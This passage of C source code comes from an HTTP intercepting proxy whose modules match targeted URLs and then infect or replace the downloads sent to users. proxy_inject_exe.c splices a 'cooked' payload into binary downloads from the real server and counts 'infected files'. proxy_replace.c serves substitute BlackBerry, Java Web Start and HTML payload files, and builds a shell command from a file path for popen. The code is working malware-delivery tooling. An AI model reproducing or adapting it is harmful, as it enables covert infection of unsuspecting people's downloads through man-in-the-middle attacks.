(!found) { 101 | DEBUG_MSG(D_DEBUG, "sm_add_link: state %d notfound", s1); 102 | return -EINVALID; 103 | } 104 | 105 | /* add the link to the current state (found with the second search) */ 106 | SAFE_CALLOC(sl, 1, sizeof(struct link)); 107 | 108 | sl->state = s2; 109 | sl->action = action; 110 | sl->callback = callback; 111 | 112 | LIST_INSERT_HEAD(&s->links, sl, next); 113 | 114 | return ESUCCESS; 115 | } 116 | 117 | int sm_change_state(struct sm *sm, u_int8 s1, u_int8 s2, void *param) 118 | { 119 | struct state *s; 120 | struct link *sl; 121 | 122 | DEBUG_MSG(D_VERBOSE, "sm_change_state: changing from %d to %d", s1, s2); 123 | 124 | /* search if the start state exist */ 125 | LIST_FOREACH(s, sm, next) 126 | if (s->state == s1) { 127 | 128 | /* search the arrival state */ 129 | LIST_FOREACH(sl, &s->links, next) 130 | if (sl->state == s2) { 131 | /* execute the callback */ 132 | if (sl->callback != NULL) 133 | sl->callback(param); 134 | 135 | /* return the next state */ 136 | return s2; 137 | } 138 | break; 139 | } 140 | 141 | DEBUG_MSG(D_DEBUG, "sm_change_state: NO link between %d and %d", s1, s2); 142 | 143 | return -ENOTFOUND; 144 | } 145 | 146 | 147 | int sm_send_action(struct sm *sm, u_int8 state, u_int8 action, void *param) 148 | { 149 | struct state *s; 150 | struct link *sl; 151 | 152 | DEBUG_MSG(D_VERBOSE, "sm_send_action: action %d from state %d", action, state); 153 | 154 | /* search if the start state exist */ 155 | LIST_FOREACH(s, sm, next) 156 | if (s->state == state) { 157 | 158 | /* search the arrival state */ 159 | LIST_FOREACH(sl, &s->links, next) 160 | if (sl->action == action) { 161 | /* execute the callback */ 162 | if (sl->callback != NULL) 163 | sl->callback(param); 164 | 165 | DEBUG_MSG(D_VERBOSE, "sm_send_action: state changed to %d", sl->state); 166 | 167 | /* return the next state */ 168 | return sl->state; 169 | } 170 | 171 | DEBUG_MSG(D_DEBUG, "sm_send_action: action %d NOT in state %d", action, state); 172 | break; 173 | } 174 | 175 | DEBUG_MSG(D_DEBUG, "sm_send_action: state %d NOT found", state); 176 | 177 | return -EOUTOFSTATE; 178 | } 179 | 180 | 181 | /* EOF */ 182 | 183 | // vim:ts=3:expandtab 184 | 185 | -------------------------------------------------------------------------------- /src/match_request.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Module to match an user 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: match_request.c 2990 2010-10-07 08:14:17Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | 18 | /* global vars */ 19 | 20 | static LIST_HEAD(, request_node) request_root; 21 | static pthread_mutex_t root_mutex = PTHREAD_MUTEX_INITIALIZER; 22 | 23 | 24 | /* proto */ 25 | 26 | void load_request(void); 27 | int requests_load(void); 28 | struct request_node *req_new(const char *value); 29 | struct request_node *request_find(const char *tag, char *url); 30 | struct request_node *request_find_tag(const char *tag); 31 | 32 | /*******************************************/ 33 | 34 | struct request_node *request_find(const char *tag, char *url) 35 | { 36 | struct request_node *current; 37 | 38 | pthread_mutex_lock(&root_mutex); 39 | 40 | LIST_FOREACH(current, &request_root, next) { 41 | if (!strcmp(tag, current->tag) && match_pattern(url, current->url)) { 42 | pthread_mutex_unlock(&root_mutex); 43 | return current; 44 | } 45 | } 46 | 47 | pthread_mutex_unlock(&root_mutex); 48 | 49 | return NULL; 50 | } 51 | 52 | struct request_node *request_find_tag(const char *tag) 53 | { 54 | struct request_node *current; 55 | 56 | pthread_mutex_lock(&root_mutex); 57 | 58 | LIST_FOREACH(current, &request_root, next) { 59 | if (!strcmp(tag, current->tag)) { 60 | pthread_mutex_unlock(&root_mutex); 61 | return current; 62 | } 63 | } 64 | 65 | pthread_mutex_unlock(&root_mutex); 66 | 67 | return NULL; 68 | } 69 | 70 | struct request_node *req_new(const char *value) 71 | { 72 | struct request_node *tmp; 73 | char *p, *q; 74 | 75 | SAFE_CALLOC(tmp, 1, sizeof(struct request_node)); 76 | 77 | /* null terminate at the black space */ 78 | if ((p = strchr(value, ' ')) != NULL) 79 | *p = 0; 80 | 81 | snprintf(tmp->tag, MAX_TAG_LEN, "%s", value); 82 | 83 | q = p + 1; 84 | /* null terminate at the second black space */ 85 | if ((p = strchr(q, ' ')) != NULL) 86 | *p = 0; 87 | 88 | if (!strcmp(q, "INJECT-EXE") || !strcmp(q, "INJECT") /* retrocompatibility */) 89 | tmp->type = REQ_TYPE_INJECT_EXE; 90 | else if (!strcmp(q, "INJECT-JAD")) 91 | tmp->type = REQ_TYPE_INJECT_JAD; 92 | else if (!strcmp(q, "INJECT-HTML")) 93 | tmp->type = REQ_TYPE_INJECT_HTML; 94 | else if (!strcmp(q, "REPLACE")) 95 | tmp->type = REQ_TYPE_REPLACE; 96 | else { 97 | DEBUG_MSG(D_ERROR, "Unknown attack method [%s]", q); 98 | return NULL; 99 | } 100 | 101 | q = p + 1; 102 | /* null terminate at the third blank space */ 103 | if ((p = strchr(q, ' ')) != NULL) 104 | *p = 0; 105 | 106 | snprintf(tmp->path, MAX_FILENAME_LEN-1, "%s", q); 107 | 108 | q = p + 1; 109 | /* null terminate at the of line */ 110 | if ((p = strchr(q, '\n')) != NULL) 111 | *p = 0; 112 | 113 | snprintf(tmp->url, MAX_URL-1, "%s", q); 114 | 115 | pthread_mutex_lock(&root_mutex); 116 | LIST_INSERT_HEAD(&request_root, tmp, next); 117 | pthread_mutex_unlock(&root_mutex); 118 | 119 | return tmp; 120 | } 121 | 122 | int requests_load(void) 123 | { 124 | FILE *fc; 125 | char line[512]; 126 | int counter = 0; 127 | char *p, *q; 128 | 129 | DEBUG_MSG(D_INFO, "requests_load: %s", GBL_CONF->intercepted_files); 130 | 131 | ON_ERROR(GBL_CONF->intercepted_files, NULL, "Cannot open a NULL file!"); 132 | 133 | /* errors are handled by the function */ 134 | fc = open_data("etc", GBL_CONF->intercepted_files, FOPEN_READ_TEXT); 135 | ON_ERROR(fc, NULL, "Cannot open %s", GBL_CONF->intercepted_files); 136 | 137 | /* read the file */ 138 | while (fgets(line, 512, fc) != 0) { 139 | 140 | /* trim out the comments */ 141 | if ((p = strchr(line, '#'))) 142 | *p = '\0'; 143 | 144 | /* trim out the new line */ 145 | if ((p = strchr(line, '\n'))) 146 | *p = '\0'; 147 | 148 | if ((p = strchr(line, '\r'))) 149 | *p = '\0'; 150 | 151 | q = line; 152 | 153 | /* trim the initial spaces */ 154 | while (q < line + sizeof(line) && *q == ' ') 155 | q++; 156 | 157 | /* skip empty lines */ 158 | if (line[0] == '\0' || *q == '\0') 159 | continue; 160 | 161 | /* insert line into the list */ 162 | if (req_new(line) != NULL) { 163 | /* update the line count */ 164 | counter++; 165 | } 166 | } 167 | 168 | fclose(fc); 169 | 170 | DEBUG_MSG(D_INFO, "List of redirected intercepted targets contains : %04d entries.", counter); 171 | 172 | return 0; 173 | } 174 | 175 | void load_request(void) 176 | { 177 | struct request_node *current, *tmp; 178 | 179 | pthread_mutex_lock(&root_mutex); 180 | 181 | /* free the old list */ 182 | LIST_FOREACH_SAFE(current, &request_root, next, tmp) { 183 | LIST_REMOVE(current, next); 184 | SAFE_FREE(current); 185 | } 186 | 187 | pthread_mutex_unlock(&root_mutex); 188 | 189 | /* load the new URL list */ 190 | requests_load(); 191 | 192 | return; 193 | } 194 | 195 | /* EOF */ 196 | 197 | // vim:ts=3:expandtab 198 | 199 | -------------------------------------------------------------------------------- /src/proxy_inject_exe.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- proxy module (the actual injector) 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: proxy_inject_exe.c 3556 2011-06-07 08:54:29Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #ifdef HAVE_MELTER 20 | #include 21 | #endif 22 | 23 | /* globals */ 24 | 25 | /* protos */ 26 | 27 | int proxy_inject_exe(BIO **cbio, BIO **sbio, char *header, char *file); 28 | 29 | /************************************************/ 30 | 31 | 32 | int proxy_inject_exe(BIO **cbio, BIO **sbio, char *header, char *file) 33 | { 34 | BIO *fbio = NULL; 35 | char data[READ_BUFF_SIZE]; 36 | int len, written; 37 | char *host, *p; 38 | 39 | /* check if the client is performing Range requests. if so, reply not supported */ 40 | if (strstr(header, HTTP_RANGE_TAG)) { 41 | 42 | DEBUG_MSG(D_INFO, "Range request detected, replying 416 Not Satisfable"); 43 | 44 | sprintf(data, "HTTP/1.1 416 Requested Range Not Satisfiable\r\n" 45 | "Content-Type: text/html\r\n" 46 | "Connection: close\r\n" 47 | "\r\n"); 48 | 49 | /* send the header to the client */ 50 | BIO_write(*cbio, data, strlen(data)); 51 | /* prevent reading from the server */ 52 | *sbio = NULL; 53 | 54 | return -ENOTHANDLED; 55 | } 56 | 57 | /* retrieve the host tag */ 58 | host = strcasestr(header, HTTP_HOST_TAG); 59 | 60 | if (host == NULL) 61 | return -EINVALID; 62 | 63 | SAFE_STRDUP(host, host + strlen(HTTP_HOST_TAG)); 64 | 65 | /* trim the eol */ 66 | if ((p = strchr(host, '\r')) != NULL) 67 | *p = 0; 68 | if ((p = strchr(host, '\n')) != NULL) 69 | *p = 0; 70 | 71 | /* connect to the real server */ 72 | *sbio = BIO_new(BIO_s_connect()); 73 | BIO_set_conn_hostname(*sbio, host); 74 | BIO_set_conn_port(*sbio, "http"); 75 | 76 | if (BIO_do_connect(*sbio) <= 0) { 77 | DEBUG_MSG(D_ERROR, "Cannot connect to [%s]", host); 78 | SAFE_FREE(host); 79 | return -ENOADDRESS; 80 | } 81 | 82 | DEBUG_MSG(D_INFO, "Connection to [%s]", host); 83 | 84 | /* 85 | * sanitize the header to avoid strange reply from the server. 86 | * we don't want to cope with chunked encoding, gzip, deflate an so on... 87 | */ 88 | sanitize_header(header); 89 | 90 | DEBUG_MSG(D_EXCESSIVE, "Request is:\n%s", header); 91 | 92 | /* send the request to the server */ 93 | BIO_puts(*sbio, header); 94 | 95 | memset(data, 0, sizeof(data)); 96 | written = 0; 97 | 98 | /* read the reply header from the server */ 99 | LOOP { 100 | len = BIO_read(*sbio, data + written, sizeof(char)); 101 | if (len <= 0) 102 | break; 103 | 104 | written += len; 105 | if (strstr(data, CR LF CR LF) || strstr(data, LF LF)) 106 | break; 107 | } 108 | 109 | /* if the reply is OK and the file exist, set up the injecting filter */ 110 | if (!strncmp(data, HTTP10_200_OK, strlen(HTTP10_200_OK)) || !strncmp(data, HTTP11_200_OK, strlen(HTTP11_200_OK))) { 111 | 112 | DEBUG_MSG(D_INFO, "Server [%s] replied HTTP 200 OK", host); 113 | 114 | /* check for stuff that we don't support */ 115 | if (strcasestr(data, "Transfer-Encoding: chunked") || 116 | strcasestr(data, "Accept-Encoding: compress") || 117 | strcasestr(data, "Accept-Encoding: gzip") || 118 | strcasestr(data, "Accept-Encoding: deflate") ) 119 | { 120 | 121 | DEBUG_MSG(D_INFO, "Detected not supported encoding, skipping it"); 122 | 123 | /* create a null filtering bio (send as it is) */ 124 | fbio = BIO_new(BIO_f_null()); 125 | 126 | } else if ( ! strcasestr(data, "Content-Type: application/") ) { 127 | DEBUG_MSG(D_INFO, "Not a binary stream, skipping it"); 128 | 129 | /* create a null filtering bio (send as it is) */ 130 | fbio = BIO_new(BIO_f_null()); 131 | } else { 132 | 133 | DEBUG_MSG(D_INFO, "Setting up the injection filter"); 134 | 135 | char* filename, *path; 136 | /* complete the path of the file */ 137 | SAFE_CALLOC(filename, sizeof(char), strlen(file) + strlen(".cooked") + 1); 138 | sprintf(filename, "%s.cooked", file); 139 | path = get_path("vectors", filename); 140 | SAFE_FREE(filename); 141 | 142 | DEBUG_MSG(D_INFO, "Cooked file: %s", path); 143 | 144 | /* 145 | * create the filtering bio (the injector) 146 | * in case of failure, instantiate a NULL BIO 147 | */ 148 | #ifdef HAVE_MELTER 149 | fbio = BIO_new_injector(path); 150 | BIO_ctrl(fbio, BIO_CTRL_SET_DEBUG_FN, 1, debug_msg); 151 | DEBUG_MSG(D_INFO, "BIO filter instantiated..."); 152 | #else 153 | DEBUG_MSG(D_ERROR, "ERROR: we don't have the melter lib!!!"); 154 | fbio = BIO_new(BIO_f_null()); 155 | #endif 156 | SAFE_FREE(path); 157 | 158 | /* update the stats */ 159 | GBL_STATS->inf_files++; 160 | } 161 | } else { 162 | 163 | DEBUG_MSG(D_INFO, "Server [%s] reply is not HTTP 200 OK", host); 164 | DEBUG_MSG(D_EXCESSIVE, "Server reply is:\n%s", data); 165 | 166 | /* create a null filtering bio (send as it is) */ 167 | fbio = BIO_new(BIO_f_null()); 168 | } 169 | 170 | /* append the filter to the client bio */ 171 | *cbio = BIO_push(fbio, *cbio); 172 | 173 | /* send the headers to the client, the data will be sent in the callee function */ 174 | BIO_write(*cbio, data, written); 175 | 176 | SAFE_FREE(host); 177 | 178 | return ESUCCESS; 179 | } 180 | 181 | 182 | /* EOF */ 183 | 184 | // vim:ts=3:expandtab 185 | 186 | -------------------------------------------------------------------------------- /src/proxy_replace.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- proxy module (the actual injector) 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: proxy_replace.c 3560 2011-06-07 15:00:02Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | /* globals */ 21 | 22 | 23 | /* protos */ 24 | 25 | int proxy_replace(BIO **cbio, BIO **sbio, char *file, char *tag, char *host); 26 | int setup_replace_bio(BIO **fbio, char *file, char *search, char *replace, int *diff); 27 | 28 | /************************************************/ 29 | 30 | int proxy_replace(BIO **cbio, BIO **sbio, char *file, char *tag, char *host) 31 | { 32 | BIO *fbio, *fbio2; 33 | char data[READ_BUFF_SIZE]; 34 | char *path; 35 | char *content_type = ""; 36 | struct stat st; 37 | size_t content_length = 0; 38 | int diff; 39 | char ipa_url[MAX_URL]; 40 | int text_transfer = 0; 41 | 42 | /* complete the path of the file */ 43 | path = get_path("vectors", file); 44 | 45 | /* the server bio will be our file */ 46 | *sbio = BIO_new_file(path, FOPEN_READ_BIN); 47 | 48 | if (*sbio == NULL) { 49 | DEBUG_MSG(D_ERROR, "Cannot open file [%s]", path); 50 | SAFE_FREE(path); 51 | return -ENOTFOUND; 52 | } 53 | 54 | /* get the file size */ 55 | stat(path, &st); 56 | content_length = st.st_size; 57 | 58 | /* calculate and replace the IPA_URL in the file */ 59 | snprintf(ipa_url, MAX_URL - 1, "http://%s.%s", tag, host); 60 | 61 | DEBUG_MSG(D_INFO, "Sending replaced page [%s] len [%d]", file, st.st_size); 62 | 63 | /* create the HTTP response header */ 64 | /* special case for Blackberry files */ 65 | if (strstr(file, ".jad")) { 66 | content_type = "Content-Type: text/vnd.sun.j2me.app-descriptor\r\n"; 67 | text_transfer = 1; 68 | } else if (strstr(file, ".cod")){ 69 | content_type = "Content-Type: application/vnd.rim.cod\r\n"; 70 | text_transfer = 1; 71 | } else if (strstr(file, ".html") || strstr(file, ".htm")){ 72 | content_type = "Content-Type: text/html\r\n"; 73 | text_transfer = 1; 74 | } else if (strstr(file, ".jnlp")){ 75 | content_type = "Content-Type: application/x-java-jnlp-file\r\n"; 76 | text_transfer = 1; 77 | } else { 78 | char mime_command[256]; 79 | char output[128]; 80 | char content[256]; 81 | 82 | memset(content, 0, sizeof(content)); 83 | 84 | /* get the mime type for the file */ 85 | snprintf(mime_command, 256, "file -b --mime-type %s", path); 86 | 87 | FILE *p = popen(mime_command, "r"); 88 | int r = fread(output, 1, sizeof(output), p); 89 | if (r > 0) { 90 | output[strlen(output) - 1] = 0; 91 | snprintf(content, 256, "Content-Type: %s", output); 92 | } 93 | fclose(p); 94 | /* 95 | * if left empty the content type will not be sent in the header 96 | * assuming binary transfer, don't try to replace anything in the file 97 | */ 98 | //content_type = "Content-Type: application/octet-stream\r\n"; 99 | content_type = content; 100 | text_transfer = 0; 101 | } 102 | 103 | /* replace the internal variables only on text files */ 104 | if (text_transfer) { 105 | 106 | /* replace the strings */ 107 | setup_replace_bio(&fbio, path, "%IPA_URL%", ipa_url, &diff); 108 | content_length += diff; 109 | 110 | setup_replace_bio(&fbio2, path, "%SITE_HOSTNAME%", host, &diff); 111 | content_length += diff; 112 | 113 | /* concatenate the two filtering bios */ 114 | fbio = BIO_push(fbio2, fbio); 115 | } 116 | 117 | /* prepare the HTTP header */ 118 | sprintf(data, "HTTP/1.0 200 OK\r\n" 119 | "Content-Length: %u\r\n" 120 | "%s" /* Content-Type: */ 121 | "Connection: close\r\n" 122 | "\r\n", (u_int)content_length, content_type); 123 | 124 | /* send the headers to the client, the data will be sent in the callee function */ 125 | BIO_write(*cbio, data, strlen(data)); 126 | 127 | /* append the filter after the header has been sent */ 128 | if (text_transfer) { 129 | /* append the filter to the client bio */ 130 | *cbio = BIO_push(fbio, *cbio); 131 | } 132 | 133 | /* update the stats */ 134 | GBL_STATS->inf_files++; 135 | 136 | SAFE_FREE(path); 137 | 138 | return ESUCCESS; 139 | } 140 | 141 | 142 | int setup_replace_bio(BIO **fbio, char *file, char *search, char *replace, int *diff) 143 | { 144 | BIO *sbio; 145 | char *data, *p; 146 | int len, num, written = 0; 147 | struct stat st; 148 | struct bio_replace_setup bir; 149 | 150 | /* prepare the replace BIO */ 151 | *fbio = BIO_new(BIO_f_replace()); 152 | 153 | bir.search = search; 154 | bir.replace = replace; 155 | 156 | /* setup the search and replace parameters */ 157 | BIO_ctrl(*fbio, BIO_C_SET_BUF_MEM, 1, &bir); 158 | 159 | /* open the file */ 160 | sbio = BIO_new_file(file, FOPEN_READ_TEXT); 161 | 162 | /* get the file size */ 163 | stat(file, &st); 164 | 165 | SAFE_CALLOC(data, st.st_size, sizeof(char)); 166 | 167 | /* read the file content */ 168 | while (BIO_eof(sbio) != 1) { 169 | len = BIO_read(sbio, data + written, READ_BUFF_SIZE); 170 | if (len <= 0) 171 | break; 172 | 173 | written += len; 174 | } 175 | 176 | num = 0; 177 | p = data; 178 | 179 | /* search the number of time the search string is present in the file */ 180 | while ((p = strstr(p, search)) != NULL) { 181 | num++; 182 | p += strlen(search); 183 | } 184 | 185 | SAFE_FREE(data); 186 | BIO_free(sbio); 187 | 188 | /* calculate the difference in size */ 189 | *diff = num * (strlen(replace) - strlen(search)); 190 | 191 | return *diff; 192 | } 193 | 194 | /* EOF */ 195 | 196 | // vim:ts=3:expandtab 197 | 198 | --------------------------------------------------------------------------------